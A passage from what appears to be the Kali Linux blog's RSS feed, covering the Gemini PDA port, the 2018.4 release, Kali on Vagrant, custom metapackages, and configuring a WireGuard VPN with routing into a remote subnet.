&lt;p>If you come across any bugs in Kali, please open a report on our &lt;a href="https://bugs.kali.org/main_page.php">bug tracker&lt;/a>. We&amp;rsquo;ll never be able to fix what we don&amp;rsquo;t know about.&lt;/p></description></item><item><title>Kali Linux for the Gemini PDA</title><link>https://www.kali.org/blog/kali-linux-for-the-gemini-pda/</link><guid isPermaLink="true">https://www.kali.org/blog/kali-linux-for-the-gemini-pda/</guid><pubDate>Tue, 04 Dec 2018 00:00:00 +0000</pubDate><updated>Mon, 17 Jan 2022 00:00:00 +0000)</updated><enclosure url="https://www.kali.org/blog/kali-linux-for-the-gemini-pda/images/kali-gem-pda-post-alternative.jpg" type="image/jpg"/><description>&lt;h2 id="running-kali-on-a-gem">Running Kali on a Gem&lt;/h2>
&lt;p>The &lt;a href="https://planetcom.squarespace.com/device/">Gemini PDA&lt;/a> from Planet Computers is an ultra-thin, clamshell mobile device with a tactile keyboard. Sporting a 5.99&amp;quot; screen, QWERTY keyboard, 4G &amp;amp; Wi-Fi, deca-core CPU, and an Open-source bootloader that supports multi-boot, it caught our attention straight away when it popped up on Indiegogo. It is a great little pocket rocket and having a landscape orientation and hardware keyboard, is well suited for a native Kali installation with a full &lt;a href="https://lxqt.org/">LXQT&lt;/a> desktop environment.&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-for-the-gemini-pda/images/01-gem.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-for-the-gemini-pda/images/01-gem.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;h3 id="hardware-specs">Hardware Specs&lt;/h3>
&lt;ul>
&lt;li>MediaTek Deca Core Helio, with either X25 or X27 chipset&lt;/li>
&lt;li>CPU: 2x Cortex A72 @2.6GHz, 4x Cortex A53 @2.0GHz, 4x Cortex A53 @1.6GHz&lt;/li>
&lt;li>GPU: ARM Mali T880 MP4 @875MHz&lt;/li>
&lt;li>RAM: 4GB&lt;/li>
&lt;li>Flash: 64GB plus micro SD card support&lt;/li>
&lt;/ul>
&lt;p>More: &lt;a href="https://en.wikipedia.org/wiki/Gemini_(PDA)">en.wikipedia.org/wiki/Gemini_(PDA)&lt;/a>&lt;/p>
&lt;h3 id="operating-systems">Operating Systems&lt;/h3>
&lt;p>Multiboot any one, two, or three of the following five operating systems: Android, rooted Android, Sailfish, Debian, Kali Linux. The image we provide on our download page includes the following two partitions:&lt;/p>
&lt;ol>
&lt;li>Android (rooted), 16 GB. To boot Android, just press and hold the &amp;ldquo;On&amp;rdquo; (Esc) key until it vibrates&lt;/li>
&lt;li>Kali Linux, 40 GB. To boot Kali, press and hold the &amp;ldquo;On&amp;rdquo; (Esc) key until it vibrates and then quickly press the silver &amp;ldquo;Voice Assist&amp;rdquo; button on the right hand side of the device&lt;/li>
&lt;/ol>
&lt;h3 id="kernel">Kernel&lt;/h3>
&lt;p>Our Gemini image contains a Kali Linux fork of the Gemini-Android kernel 3.18 with injection support for all your favourite Wi-Fi chips.&lt;/p>
&lt;h3 id="desktop-environment">Desktop Environment&lt;/h3>
&lt;p>LXQT with SDDM is lightweight, provides great scaling for tiny screens, has good touch support, and a slick modern layout. Whilst using the tiny touchscreen looks a bit intimidating initially, it is surprisingly finger friendly. We don&amp;rsquo;t bother using a mouse anymore with this device.&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-for-the-gemini-pda/images/02-gem.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-for-the-gemini-pda/images/02-gem.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;h3 id="linux--android-integration">Linux / Android integration&lt;/h3>
&lt;p>Being basically a pimped up cell phone requires a convergence of Linux (glibc) and Android (bionic) to drive the hardware not yet natively supported by GNU/Linux. We are using components from the &lt;a href="https://halium.org/">Halium project&lt;/a> to achieve that.&lt;/p>
&lt;p>Bringing GNU/Linux to the Gemini PDA, or any other mobile platform, is in the very early stages and some of it still needs a bit of work, such as data and voice support, GPS, power management, etc. There is currently one known issue with the Gemini having occasional issues when shutting down. The community is currently working on it.&lt;/p>
&lt;p>Overall, it&amp;rsquo;s a very stable experience thanks to the hard work of the &lt;a href="https://sailfishos.org/">Sailfish&lt;/a> and &lt;a href="https://github.com/gemian/gemini-keyboard-apps/wiki">Gemian&lt;/a> communities, in particular TheKit and adam_b, who brought Gemian to the Gemini PDA and helped a lot with this project.&lt;/p>
&lt;h3 id="installation">Installation&lt;/h3>
&lt;p>We have published a &lt;a href="https://www.kali.org/docs/arm/gemini-pda/">Gemini installation guide&lt;/a> on our documentation site to get you up and running quickly.&lt;/p>
&lt;h3 id="support">Support&lt;/h3>
&lt;p>Linux on the Gemini PDA is very experimental with limited manufacturer support and some hardware is not natively supported by Linux, requiring some community hacks. OffSec does not provide technical support for the Gemini. Support for Kali on the Gemini can be obtained via various methods listed on the &lt;a href="https://www.kali.org/community/">Kali Linux Community&lt;/a> page.&lt;/p>
&lt;h3 id="wrapping-up">Wrapping Up&lt;/h3>
&lt;p>The Gemini PDA is a nifty little powerhouse that combines the charm and handling of the good old Psion series with the power of a modern ARM64, making it the ideal mobile platform for a desktop version of Kali Linux with touch support.&lt;/p>
&lt;p>With the community demand for Kali Linux on the Gemini and considering that the manufacturer has just launched a new crowd funding campaign for another device, having a Kali platform for this particular hardware segment is setting us up for exciting times ahead.&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-for-the-gemini-pda/images/03-gem.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-for-the-gemini-pda/images/03-gem.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p></description></item><item><title>Kali Linux 2018.4 Release</title><link>https://www.kali.org/blog/kali-linux-2018-4-release/</link><guid isPermaLink="true">https://www.kali.org/blog/kali-linux-2018-4-release/</guid><pubDate>Mon, 29 Oct 2018 00:00:00 +0000</pubDate><updated>Mon, 17 Jan 2022 00:00:00 +0000)</updated><enclosure url="https://www.kali.org/blog/kali-linux-2018-4-release/images/kali-release.jpg" type="image/jpg"/><description>&lt;p>Welcome to our fourth and final release of 2018, Kali Linux 2018.4, which is available for immediate &lt;a href="https://www.kali.org/get-kali/">download&lt;/a>. This release brings our kernel up to version 4.18.10, fixes numerous bugs, includes many updated packages, and a &lt;strong>very experimental&lt;/strong> 64-bit Raspberry Pi 3 image.&lt;/p>
&lt;h3 id="new-tools-and-tool-upgrades">New Tools and Tool Upgrades&lt;/h3>
&lt;p>We have only added one new tool to the distribution in this release cycle but it&amp;rsquo;s a great one. &lt;strong>&lt;a href="https://pkg.kali.org/pkg/wireguard">Wireguard&lt;/a>&lt;/strong> is a powerful and easy to configure VPN solution that eliminates many of the headaches one typically encounters setting up VPNs. Check out our &lt;a href="https://www.kali.org/blog/wireguard-on-kali/">Wireguard post&lt;/a> for more details on this great addition.&lt;/p>
&lt;p>Kali Linux 2018.4 also includes updated packages for &lt;a href="https://www.kali.org/tools/burpsuite/">Burp Suite&lt;/a>, &lt;a href="https://www.kali.org/tools/patator/">Patator&lt;/a>, &lt;a href="https://www.kali.org/tools/gobuster/">Gobuster&lt;/a>, &lt;a href="https://www.kali.org/tools/binwalk/">Binwalk&lt;/a>, &lt;a href="https://www.kali.org/tools/python-faraday/">Faraday&lt;/a>, &lt;a href="https://www.kali.org/tools/fern-wifi-cracker/">Fern-Wifi-Cracker&lt;/a>, &lt;a href="https://www.kali.org/tools/rsmangler/">RSMangler&lt;/a>, &lt;a href="https://www.kali.org/tools/theharvester/">theHarvester&lt;/a>, &lt;a href="https://www.kali.org/tools/wpscan/">wpscan&lt;/a>, and more. For the complete list of updates, fixes, and additions, please refer to the &lt;a href="https://bugs.kali.org/changelog_page.php">Kali Bug Tracker Changelog&lt;/a>.&lt;/p>
&lt;h3 id="64-bit-raspberry-pi-3">64-bit Raspberry Pi 3&lt;/h3>
&lt;p>We have created a very experimental Raspberry Pi 3 image that supports 64-bit mode. Please note that this is a beta image, so if you discover anything that isn&amp;rsquo;t working, please alert us on our &lt;a href="https://bugs.kali.org/">bug tracker&lt;/a>.&lt;/p>
&lt;h3 id="download-kali-linux-20184">Download Kali Linux 2018.4&lt;/h3>
&lt;p>If you would like to check out this latest and greatest Kali release, you can find download links for ISOs and Torrents on the &lt;a href="https://www.kali.org/get-kali/">Kali Downloads&lt;/a> page along with links to the &lt;a href="https://www.kali.org/get-kali/#kali-vm">OffSec virtual machine and ARM images&lt;/a>, which have also been updated to 2018.4. If you already have a Kali installation you&amp;rsquo;re happy with, you can easily upgrade in place as follows:&lt;/p>
&lt;pre>&lt;code class="language-console">root@kali:~# apt update &amp;amp;&amp;amp; apt -y full-upgrade
&lt;/code>&lt;/pre>
&lt;h4 id="ensuring-your-installation-is-updated">Ensuring your Installation is Updated&lt;/h4>
&lt;p>To double check your version, first make sure your Kali &lt;a href="https://www.kali.org/docs/general-use/kali-linux-sources-list-repositories/">package repositories&lt;/a> are correct:&lt;/p>
&lt;pre>&lt;code class="language-console">root@kali:~# cat /etc/apt/sources.list
deb http://http.kali.org/kali kali-rolling main contrib non-free
&lt;/code>&lt;/pre>
&lt;p>Then after running &amp;lsquo;apt -y full-upgrade&amp;rsquo;, you may require a &amp;lsquo;reboot&amp;rsquo; before checking:&lt;/p>
&lt;pre>&lt;code class="language-console">root@kali:~# grep VERSION /etc/os-release
VERSION=&amp;quot;2018.4&amp;quot;
VERSION_ID=&amp;quot;2018.4&amp;quot;
root@kali:~#
root@kali:~# uname -a
Linux kali 4.18.0-kali2-amd64 #1 SMP Debian 4.18.10-2kali1 (2018-10-09) x86_64 GNU/Linux
&lt;/code>&lt;/pre>
&lt;p>If you come across any bugs in Kali, please open a report on our &lt;a href="https://bugs.kali.org/main_page.php">bug tracker&lt;/a>. We&amp;rsquo;ll never be able to fix what we don&amp;rsquo;t know about.&lt;/p></description></item><item><title>Announcing Kali for Vagrant</title><link>https://www.kali.org/blog/announcing-kali-for-vagrant/</link><guid isPermaLink="true">https://www.kali.org/blog/announcing-kali-for-vagrant/</guid><pubDate>Tue, 09 Oct 2018 00:00:00 +0000</pubDate><updated>Mon, 17 Jan 2022 00:00:00 +0000)</updated><enclosure url="https://www.kali.org/blog/announcing-kali-for-vagrant/images/kali-on-vagrant.jpg" type="image/jpg"/><description>&lt;p>Inspired by a recent &lt;a href="https://blog.secureideas.com/2018/09/automating-red-team-homelabs-part-1-kali-automation.html">community blog post&lt;/a>, we have decided to add a new official way for our community to use Kali. Starting now, you can find an officially maintained Kali Linux image in the &lt;a href="https://app.vagrantup.com/">Vagrant Cloud&lt;/a>.&lt;/p>
&lt;h2 id="what-is-vagrant">What is Vagrant?&lt;/h2>
&lt;p>From Vagrant&amp;rsquo;s &lt;a href="https://www.vagrantup.com/">website&lt;/a>:&lt;/p>
&lt;blockquote>
&lt;p>Vagrant is a tool for building and managing virtual machine environments in a single workflow.&lt;/p>
&lt;/blockquote>
&lt;p>Put simply, with a single configuration file, you can download a base &amp;ldquo;box&amp;rdquo; and apply additional configurations like adding an additional network interface, setting the number of CPU cores and memory, or running a script on first boot. Even more importantly, all of this is contained in a configuration file, which is very easy to share compared to a virtual machine that spans many gigabytes.&lt;/p>
&lt;h3 id="getting-started">Getting Started&lt;/h3>
&lt;p>To get started, first install &lt;a href="https://www.vagrantup.com/">Vagrant&lt;/a> and &lt;a href="https://www.virtualbox.org/">VirtualBox&lt;/a>. Then create an empty directory and from there run the following command:&lt;/p>
&lt;pre>&lt;code class="language-console">$ vagrant init kalilinux/rolling
A `Vagrantfile` has been placed in this directory. You are now
ready to `vagrant up` your first virtual environment! Please read
the comments in the Vagrantfile as well as documentation on
`vagrantup.com` for more information on using Vagrant.
&lt;/code>&lt;/pre>
&lt;p>This will create a file named &lt;strong>&lt;em>Vagrantfile&lt;/em>&lt;/strong>, which contains all the configuration options for the virtual machine. Every &amp;lsquo;vagrant&amp;rsquo; command must be run from the directory containing that file. By default, it contains only the box name as well as many commented common options. We&amp;rsquo;ll review some of those later, but here is an excerpt:&lt;/p>
&lt;pre>&lt;code class="language-console">$ cat Vagrantfile
# -*- mode: ruby -*-
# vi: set ft=ruby :
# All Vagrant configuration is done below. The &amp;quot;2&amp;quot; in Vagrant.configure
# configures the configuration version (we support older styles for
# backwards compatibility). Please don't change it unless you know what
# you're doing.
Vagrant.configure(&amp;quot;2&amp;quot;) do |config|
# The most common configuration options are documented and commented below.
# For a complete reference, please see the online documentation at
# https://docs.vagrantup.com.
# Every Vagrant development environment requires a box. You can search for
# boxes at https://vagrantcloud.com/search.
config.vm.box = &amp;quot;kalilinux/rolling&amp;quot;
...
# Create a forwarded port mapping which allows access to a specific port
# within the machine from a port on the host machine. In the example below,
# accessing &amp;quot;localhost:8080&amp;quot; will access port 80 on the guest machine.
# NOTE: This will enable public access to the opened port
# config.vm.network &amp;quot;forwarded_port&amp;quot;, guest: 80, host: 8080
...
end
&lt;/code>&lt;/pre>
&lt;p>Next, make sure you have enough disk space. The vagrant &amp;ldquo;box&amp;rdquo; (you can think of it as a template) uses around 4GB, and the spun up VM will take around 10GB or more depending on what you install inside. Then run this command:&lt;/p>
&lt;pre>&lt;code class="language-console">$ vagrant up
Bringing machine 'default' up with 'virtualbox' provider...
==&amp;gt; default: Box 'kalilinux/rolling' could not be found. Attempting to find and install...
default: Box Provider: virtualbox
default: Box Version: &amp;gt;= 0
==&amp;gt; default: Loading metadata for box 'kalilinux/rolling'
default: URL: https://vagrantcloud.com/kalilinux/rolling
==&amp;gt; default: Adding box 'kalilinux/rolling' (v2018.3.1) for provider: virtualbox
default: Downloading: https://vagrantcloud.com/kalilinux/boxes/rolling/versions/2018.3.1/providers/virtualbox.box
...
==&amp;gt; default: Machine booted and ready!
==&amp;gt; default: Checking for guest additions in VM...
==&amp;gt; default: Mounting shared folders...
default: /vagrant =&amp;gt; /Users/woodbine/vagrant-boxes/kali
&lt;/code>&lt;/pre>
&lt;p>Vagrant will first download the box file if it&amp;rsquo;s not in its cache, then create the Kali VM and power it on. You will see the VirtualBox UI pop up so you can use Kali normally with the &lt;strong>root/toor&lt;/strong> credentials. Vagrant veterans might notice that the VM is not headless, unlike most other Vagrant boxes. We have decided to show the GUI by default because many Kali tools require it. If you do not need the GUI, you can disable it in the &lt;strong>&lt;em>Vagrantfile&lt;/em>&lt;/strong> (see below for an example config) and run the following command to SSH to the machine as the &lt;strong>vagrant&lt;/strong> user:&lt;/p>
&lt;pre>&lt;code class="language-console">$ vagrant ssh
Linux kali 4.18.0-kali1-amd64 #1 SMP Debian 4.18.6-1kali1 (2018-09-10) x86_64
The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
vagrant@kali:~$
&lt;/code>&lt;/pre>
&lt;p>This user has password-less sudo configured with the password &lt;strong>vagrant&lt;/strong>, as per Vagrant conventions.&lt;/p>
&lt;h3 id="configuration">Configuration&lt;/h3>
&lt;p>The VM comes with a NAT interface pre-configured, so you don&amp;rsquo;t need to edit the configuration to have Internet access from inside the VM. In addition, Vagrant will create a shared folder by default: the current directory on the host (the one containing the &lt;strong>&lt;em>Vagrantfile&lt;/em>&lt;/strong>) is available in the &lt;strong>&lt;em>/vagrant&lt;/em>&lt;/strong> directory of the guest. This directory allows you to keep data saved on the host, but easily accessible by the guest. This is a good practice, as it would allow you to quickly reset your Vagrant machine and never lose data.&lt;/p>
&lt;p>Let&amp;rsquo;s see what more we can do with just a little configuration:&lt;/p>
&lt;pre>&lt;code class="language-ruby"># -*- mode: ruby -*-
# vi: set ft=ruby :
Vagrant.configure(&amp;quot;2&amp;quot;) do |config|
config.vm.box = &amp;quot;kalilinux/rolling&amp;quot;
# Create a forwarded port
config.vm.network &amp;quot;forwarded_port&amp;quot;, guest: 80, host: 8080
# Create a private network. In VirtualBox, this is a Host-Only network
config.vm.network &amp;quot;private_network&amp;quot;, ip: &amp;quot;192.168.33.10&amp;quot;
# VirtualBox specific settings
config.vm.provider &amp;quot;virtualbox&amp;quot; do |vb|
# Hide the VirtualBox GUI when booting the machine
vb.gui = false
# Customize the amount of memory on the VM:
vb.memory = &amp;quot;4096&amp;quot;
end
# Provision the machine with a shell script
config.vm.provision &amp;quot;shell&amp;quot;, inline: &amp;lt;&amp;lt;-SHELL
apt-get update
apt-get install -y crowbar
SHELL
end
&lt;/code>&lt;/pre>
&lt;p>Add/uncomment the options inside the &lt;strong>&lt;em>Vagrantfile&lt;/em>&lt;/strong> then restart the machine with the following command for your changes to take effect:&lt;/p>
&lt;pre>&lt;code class="language-sh">vagrant reload
&lt;/code>&lt;/pre>
&lt;p>The provision script will only be run the first time the machine boots, but you can use one of these commands to re-run it:&lt;/p>
&lt;pre>&lt;code class="language-sh">vagrant provision # Provision the powered on VM
vagrant up --provision # When VM is powered off, power it on then provision
vagrant reload --provision # Reboot the VM then provision
&lt;/code>&lt;/pre>
&lt;p>Note that while it is possible to add a bridged network (called a &amp;ldquo;public network&amp;rdquo; in Vagrant), this is likely a bad idea as Vagrant is &lt;a href="https://www.vagrantup.com/docs/networking/public_network.html">insecure by default&lt;/a>.&lt;/p>
&lt;h3 id="wrapping-up">Wrapping Up&lt;/h3>
&lt;p>We hope you find this new offering useful. We have shown a few simple things that you can do with Vagrant, but make sure to check out the &lt;a href="https://www.vagrantup.com/docs/">official documentation&lt;/a> for more configuration options and the &lt;a href="https://app.vagrantup.com/">Vagrant Cloud&lt;/a> for more boxes!&lt;/p></description></item><item><title>Making your own Kali Linux Metapackages</title><link>https://www.kali.org/blog/making-your-own-kali-linux-metapackages/</link><guid isPermaLink="true">https://www.kali.org/blog/making-your-own-kali-linux-metapackages/</guid><pubDate>Tue, 18 Sep 2018 00:00:00 +0000</pubDate><updated>Mon, 17 Jan 2022 00:00:00 +0000)</updated><enclosure url="https://www.kali.org/blog/making-your-own-kali-linux-metapackages/images/kali-advanced-package-management-2.jpg" type="image/jpg"/><description>&lt;p>One of the many useful things we can do with APT is create metapackages, which are effectively empty packages that declare a list of other packages as dependencies. Kali Linux includes metapackages for password cracking, software-defined radio, wireless, web applications, and more but if you have specific needs (like most people), it&amp;rsquo;s quick and easy to define your own metapackages, which we will show in this post.&lt;/p>
&lt;p>Before we begin, we need to install the &lt;strong>&lt;em>devscripts&lt;/em>&lt;/strong> package, which includes a number of tools and utilities for package management:&lt;/p>
&lt;pre>&lt;code class="language-console">root@kali:~# apt install devscripts
&lt;/code>&lt;/pre>
&lt;p>In Kali, all metapackages are defined in the appropriately named &lt;strong>&lt;em>kali-meta&lt;/em>&lt;/strong> package so we can clone and modify it to suit our needs:&lt;/p>
&lt;pre>&lt;code class="language-console">root@kali:~# git clone git://gitlab.com/kalilinux/packages/kali-meta
Cloning into 'kali-meta'...
remote: Counting objects: 998, done.
remote: Compressing objects: 100% (809/809), done.
remote: Total 998 (delta 365), reused 0 (delta 0)
Receiving objects: 100% (998/998), 179.90 KiB | 570.00 KiB/s, done.
Resolving deltas: 100% (365/365), done.
warning: remote HEAD refers to nonexistent ref, unable to checkout.
&lt;/code>&lt;/pre>
&lt;p>The &amp;ldquo;unable to checkout&amp;rdquo; message above looks worrisome but it only means that the default branch (kali/master) needs to be checked out first, which can be done as follows:&lt;/p>
&lt;pre>&lt;code class="language-console">root@kali:~# cd kali-meta/
root@kali:~/kali-meta# git checkout kali/master
Branch 'kali/master' set up to track remote branch 'kali/master' from 'origin'.
Switched to a new branch 'kali/master'
root@kali:~/kali-meta#
&lt;/code>&lt;/pre>
&lt;p>To create a new metapackage (or update an existing one), we need to edit the &lt;strong>&lt;em>debian/control&lt;/em>&lt;/strong> file with the package information. Each metapackage is merely a comma-separated list of package dependencies, like the one for the &lt;strong>&lt;em>kali-linux-gpu&lt;/em>&lt;/strong> shown below:&lt;/p>
&lt;pre>&lt;code class="language-plain">Package: kali-linux-gpu
Architecture: any
Depends: ${misc:Depends},
kali-linux,
oclhashcat [amd64 i386],
pyrit,
oclgausscrack [amd64 i386],
truecrack,
&lt;/code>&lt;/pre>
&lt;p>Our new metapackage will be called &amp;ldquo;kali-linux-mytools&amp;rdquo; and will install Vagrant, VirtualBox, LibreOffice, and Chromium. Our entry for this metapackage in &lt;strong>&lt;em>debian/control&lt;/em>&lt;/strong> looks like this:&lt;/p>
&lt;pre>&lt;code class="language-console"> root@kali:~/kali-meta# tail -n 14 debian/control
Package: kali-linux-mytools
Architecture: any
Depends: ${misc:Depends},
kali-linux,
virtualbox,
vagrant,
libreoffice,
chromium,
Description: My required Kali tools
This is Kali Linux, the most advanced penetration testing and security
auditing distribution.
.
This metapackage depends on the tools I install most often.
&lt;/code>&lt;/pre>
&lt;p>With the new metapackage defined, we need to bump the version number with &amp;lsquo;dch&amp;rsquo; prior to building the package. This will launch an editor for you to enter the details of your changes in &lt;strong>&lt;em>debian/changelog&lt;/em>&lt;/strong>:&lt;/p>
&lt;pre>&lt;code class="language-console">root@kali:~/kali-meta# dch --local dookie
root@kali:~/kali-meta# head -n 5 debian/changelog
kali-meta (2018.3.2dookie1) UNRELEASED; urgency=medium
* Added kali-linux-mytools
-- dookie &amp;lt;dookie@kali.local&amp;gt; Tue, 11 Sep 2018 09:40:10 -0600
&lt;/code>&lt;/pre>
&lt;p>Finally, we can proceed to build the new package with the &amp;lsquo;dpkg-buildpackage&amp;rsquo; command. Since metapackages are just lists of dependencies, the build process is very quick:&lt;/p>
&lt;pre>&lt;code class="language-console">root@kali:~/kali-meta# dpkg-buildpackage -us -uc -b
dpkg-buildpackage: info: source package kali-meta
dpkg-buildpackage: info: source version 2018.3.2dookie1
dpkg-buildpackage: info: source distribution UNRELEASED
dpkg-buildpackage: info: source changed by dookie &amp;lt;dookie@kali.local&amp;gt;
dpkg-buildpackage: info: host architecture amd64
...
dpkg-deb: building package 'kali-linux-pwtools' in '../kali-linux-pwtools_2018.3.2dookie1_amd64.deb'.
dpkg-deb: building package 'kali-linux-top10' in '../kali-linux-top10_2018.3.2dookie1_amd64.deb'.
dpkg-deb: building package 'kali-linux-mytools' in '../kali-linux-mytools_2018.3.2dookie1_amd64.deb'.
dpkg-genbuildinfo --build=binary
dpkg-genchanges --build=binary &amp;gt;../kali-meta_2018.3.2dookie1_amd64.changes
dpkg-genchanges: info: binary-only upload (no source code included)
dpkg-source --after-build kali-meta
dpkg-buildpackage: info: binary-only upload (no source included)
&lt;/code>&lt;/pre>
&lt;p>When the build is complete, our new metapackage can be installed with &amp;lsquo;apt&amp;rsquo; like any other package:&lt;/p>
&lt;pre>&lt;code class="language-console">root@kali:~/kali-meta# apt install ../kali-linux-mytools_2018.3.2dookie1_amd64.deb
...
root@kali:~/kali-meta# apt-cache policy vagrant virtualbox libreoffice chromium
vagrant:
Installed: 2.1.2+dfsg-1
Candidate: 2.1.2+dfsg-1
Version table:
*** 2.1.2+dfsg-1 500
500 http://192.168.86.4/kali kali-rolling/main amd64 Packages
100 /var/lib/dpkg/status
virtualbox:
Installed: 5.2.18-dfsg-2
Candidate: 5.2.18-dfsg-2
Version table:
*** 5.2.18-dfsg-2 500
500 http://192.168.86.4/kali kali-rolling/contrib amd64 Packages
100 /var/lib/dpkg/status
libreoffice:
Installed: 1:6.1.1~rc1-2
Candidate: 1:6.1.1~rc1-2
Version table:
*** 1:6.1.1~rc1-2 500
500 http://192.168.86.4/kali kali-rolling/main amd64 Packages
100 /var/lib/dpkg/status
chromium:
Installed: 68.0.3440.75-2
Candidate: 68.0.3440.75-2
Version table:
*** 68.0.3440.75-2 500
500 http://192.168.86.4/kali kali-rolling/main amd64 Packages
100 /var/lib/dpkg/status
&lt;/code>&lt;/pre>
&lt;p>Just like that, we have our own metapackage that we can store on network share or some other location to quickly get our fresh Kali Linux installations set up and configured quickly.&lt;/p></description></item><item><title>WireGuard on Kali</title><link>https://www.kali.org/blog/wireguard-on-kali/</link><guid isPermaLink="true">https://www.kali.org/blog/wireguard-on-kali/</guid><pubDate>Tue, 11 Sep 2018 00:00:00 +0000</pubDate><updated>Mon, 17 Jan 2022 00:00:00 +0000)</updated><enclosure url="https://www.kali.org/blog/wireguard-on-kali/images/wireguard-on-kali.jpg" type="image/jpg"/><description>&lt;p>We have been hearing a lot about &lt;a href="https://www.wireguard.com/quickstart/">WireGuard&lt;/a> lately and with it being recently added to the Kali repos, we thought we would give it a quick try to see what all the fuss is about. All in all, we found this is a really nice and quick to configure VPN solution, and might be worth checking out.&lt;/p>
&lt;h2 id="getting-started">Getting Started&lt;/h2>
&lt;p>With WireGuard added to the repos, installation is nice and easy:&lt;/p>
&lt;pre>&lt;code class="language-sh">apt install wireguard resolvconf
&lt;/code>&lt;/pre>
&lt;p>And we are off. Next comes time for configuration. This is where WireGuard really shone for us, as it took next to nothing to get up and running.&lt;/p>
&lt;p>On the server, we have to generate a public/private key pair and set up an initial config file:&lt;/p>
&lt;pre>&lt;code class="language-sh">wg genkey | tee privatekey | wg pubkey &amp;gt; publickey
umask u=rwx,go= &amp;amp;&amp;amp; cat &amp;gt; /etc/wireguard/wg0.conf &amp;lt;&amp;lt; EOF
[Interface]
Address = 10.222.222.1/24
SaveConfig = true
ListenPort = 51820
PrivateKey = -SERVER PRIVATE KEY-
[Peer]
PublicKey = -CLIENT PUBLIC KEY-
AllowedIPs = 10.222.222.2/32
EOF
&lt;/code>&lt;/pre>
&lt;p>And we do the same process on the client to establish its key pair and config:&lt;/p>
&lt;pre>&lt;code class="language-sh">wg genkey | tee privatekey | wg pubkey &amp;gt; publickey
umask u=rwx,go= &amp;amp;&amp;amp; cat /etc/wireguard/wg0.conf &amp;lt;&amp;lt; EOF
[Interface]
Address = 10.222.222.2/32
PrivateKey = -CLIENT PRIVATE KEY-
DNS = 8.8.8.8
[Peer]
PublicKey = -SERVER PUBLIC KEY-
Endpoint = public.ip.of.server:51820
AllowedIPs = 0.0.0.0/0
PersistentKeepalive = 21
EOF
&lt;/code>&lt;/pre>
&lt;p>These are pretty simple configs but it&amp;rsquo;s worth pointing a few things out. First off, you obviously have to put the output from the key pairs into the configs as appropriate. Additionally, the DNS line on the client is to help prevent DNS leaks from using your local default DNS server. You may or may not want to change that depending on your needs.&lt;/p>
&lt;p>Most important however is the &amp;ldquo;AllowedIPs&amp;rdquo; line. This will control what IPs do or don&amp;rsquo;t go across the VPN. In this case, we setup the client to route everything through the VPN server. We will play with this more in a bit, but let&amp;rsquo;s look at getting this basic config running.&lt;/p>
&lt;p>To start and stop the tunnel, it&amp;rsquo;s pretty easy:&lt;/p>
&lt;pre>&lt;code class="language-sh"># The VPN can be enabled using
wg-quick up wg0
# To disable the VPN:
wg-quick down wg0
# Information about the connection can be retrieved with following command:
wg show
&lt;/code>&lt;/pre>
&lt;p>And of course, we need to enable IP masquerade and IP forwarding on the server:&lt;/p>
&lt;pre>&lt;code class="language-sh">/sbin/iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward
&lt;/code>&lt;/pre>
&lt;p>So, with this we have a traditional VPN configuration. If you are looking to just get a standard VPN setup, at this point you are done. There are some advantages to this compared to using OpenVPN, for instance this solution seems to be much faster, the config is a lot simpler, and it&amp;rsquo;s a touch more stealthy in that the server won&amp;rsquo;t respond to packets that don&amp;rsquo;t have a proper key pair linked to them. We thought however it might be interesting to change the configuration to reflect our &lt;a href="https://www.offsec.com/kali-linux/kali-rolling-iso-of-doom/">ISO of Doom&lt;/a> config, having a client that will auto connect to the server on boot allowing the server to route through and access the client network.&lt;/p>
&lt;h2 id="wireguard-of-doom">WireGuard of DOOM!&lt;/h2>
&lt;p>First things first, on our client, let&amp;rsquo;s quickly set up IP forwarding and masquerading:&lt;/p>
&lt;pre>&lt;code class="language-sh">/sbin/iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward
&lt;/code>&lt;/pre>
&lt;p>Great, with that done, we make a couple minor changes to our configs. First up, on the server we change the &amp;ldquo;AllowedIPs&amp;rdquo; line to have the private network on the report site. This would look like so:&lt;/p>
&lt;pre>&lt;code class="language-ini">[Interface]
Address = 10.222.222.1/24
SaveConfig = true
ListenPort = 51820
PrivateKey = -SERVER PRIVATE KEY-
[Peer]
PublicKey = -CLIENT PUBLIC KEY-
AllowedIPs = 10.200.200.2/32, 192.168.2.0/24
&lt;/code>&lt;/pre>
&lt;p>With that one line changed on the server, we then tweak the clients &amp;ldquo;AllowedIPs&amp;rdquo; line to remove the option to route everything to the VPN server:&lt;/p>
&lt;pre>&lt;code class="language-ini">[Interface]
Address = 10.200.200.2/32
PrivateKey = -CLIENT PRIVATE KEY-
DNS = 8.8.8.8
[Peer]
PublicKey = -SERVER PUBLIC KEY-
Endpoint = public.ip.of.server:51820
AllowedIPs = 10.200.200.0/24
PersistentKeepalive = 21
&lt;/code>&lt;/pre>
&lt;p>And thats it!&lt;/p>
&lt;pre>&lt;code class="language-console">root@kali:~# ping 192.168.2.22
PING 192.168.2.22 (192.168.2.22) 56(84) bytes of data.
64 bytes from 192.168.2.22: icmp_seq=19 ttl=63 time=50.2 ms
64 bytes from 192.168.2.22: icmp_seq=20 ttl=63 time=53.4 ms
64 bytes from 192.168.2.22: icmp_seq=21 ttl=63 time=48.1 ms
&lt;/code>&lt;/pre>
&lt;p>Now the VPN server can access the subnets on the other side of the WireGuard VPN.&lt;/p>
&lt;h2 id="wrapping-up">Wrapping up&lt;/h2>
